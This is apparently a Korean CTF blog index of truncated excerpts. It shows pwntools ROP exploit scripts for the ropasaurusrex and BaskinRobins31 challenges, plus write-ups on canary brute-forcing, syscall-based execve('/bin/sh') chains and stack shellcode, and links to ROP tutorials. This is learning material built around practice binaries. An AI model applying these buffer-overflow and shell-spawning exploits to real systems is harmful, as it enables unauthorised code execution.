123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import * p = process('./ropasaurusrex')e = ELF('./ropasaurusrex')pppr = 0x080484b6#context(arch='i386',os='linux',endian='little',log_level='debug')payload="A"*140offset = 0x9ad60 # read- systempayload+=p32(e.plt['read'])payload+=p32(pppr)payload+=p32(0)payload+=p32(e.bss())payload+=p32(len("/bin/sh\x00")) ..
1234567891011121314151617181920212223242526272829303132333435from pwn import * p = process('./BaskinRobins31')e = ELF('./BaskinRobins31')context(arch='amd64',os='linux',endian='little',log_level='debug') POP_RDI_RSI_RDX_RET = 0x0040087amain = 0x400a4b payload="A"*184payload+=p64(POP_RDI_RSI_RDX_RET)payload+=p64(1)payload+=p64(e.got['read'])payload+=p64(8)payload+=p64(e.plt['write'])payload+=p64(..
정말 간단한 문제입니다 main 함수인데요, 간단히 read함수에서 bof가 일어납니다. 그러나 static linked 바이너리라 syscall을 이용해 문제를 풀어야합니다. 1.카나리 릭2.bof 후 read로 bss에 /bin/sh 입력3.execve 콜 대충 이렇게 시나리오를 짜고 익스 하였습니다. 유의해야할 점은 64bit 에서는 int 0x80이 아닌 syscall을 사용하고, execve("/bin/sh",NULL/NULL); 이어야 하는데 두번째 인자가 더블 포인터라 bss에 NULL을 입력하고 그곳을 가리키는 주소로 인자를 세팅해야 한다는 것입니다. 123456789101112131415161718192021222324252627282930313233343536373839404142434..
static linking + strip 이어서 분석이 힘들었습니다. ida로 string 검색해서 문자열 따라가면서 취약한 함수를 찾았음 처음 문자 하나를 받고, 그 크기만큼 입력받는데, 입력받는 문자열의 크기가 0x2c여서 간단하게 bof가 나는데 카나리가 있습니다. 그리고 fork로 자식프로세스를 생성 한 후 거기서 bof가 나는 함수를 실행하기 때문에 canary는 매번 같습니다. 근데 fork를 800번 하므로 1byte씩 브포하면 릭 할 수 있습니다. 그렇게 canary 릭 하고, eip 조작이 가능해지면 syscall 가젯 ( pop eax, pop edx,ecx,eax, int 0x80)을 이용하여 read로 bss에 /bin/sh 문자열을 받고, execve를 콜 해서 그 부분을 실행하면..
바이너리를 보면 매우 간단합니다. write 함수로 출력 해주고 read 로 입력 받은 후 esp에 0x14만큼 더한뒤 리턴 write 로 3c만큼 받는데 어떻게 하면 세폴이 날까 하고 A를 막 줘봤더니 24개를 주었더니 eip가 조작되었습니다. 그래서 eip를 스택으로 돌리고 스택에 쉘코드를 넣어 실행하려했는데 aslr이 걸려있어 실패했습니다. NX도 걸려있어서 쉘코드를 스택에 올려 실행하는 방법으로 해야될 것 같은데 스택 주소를 알지 못합니다. 그래서 write 함수로 스택 주소를 알아내고, esp+0x14 를 실행하므로 esp+0x14에 쉘코드를 넣고 리턴 어드레스에 스택주소+0x14 만큼 해서 익스 했습니다. 그리고 쉘코드가 execve("/bin/sh") 인데 이 execve 함수는 ecx.ed..
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)); 이게 __libc_start_main 함수 인자인데 첫번째 인자가 main이다. 그러므로 ltrace ./binary_name 해서 __libc_start_main 인자를 찾아주면 된다.
https://blog.skullsecurity.org/2015/defcon-quals-r0pbaby-simple-64-bit-rop https://blog.skullsecurity.org/2013/ropasaurusrex-a-primer-on-return-oriented-programming r0pbaby 풀다가 익스 안돼서 찾아보던중에 rop 개념정리 잘 해놓은 곳 발견함,, 처음 공부하는 분들 이거 보면서 하면 이해 잘 될듯 익스플로잇까지 친절하게 스택 프레임 그려가면서 설명해줌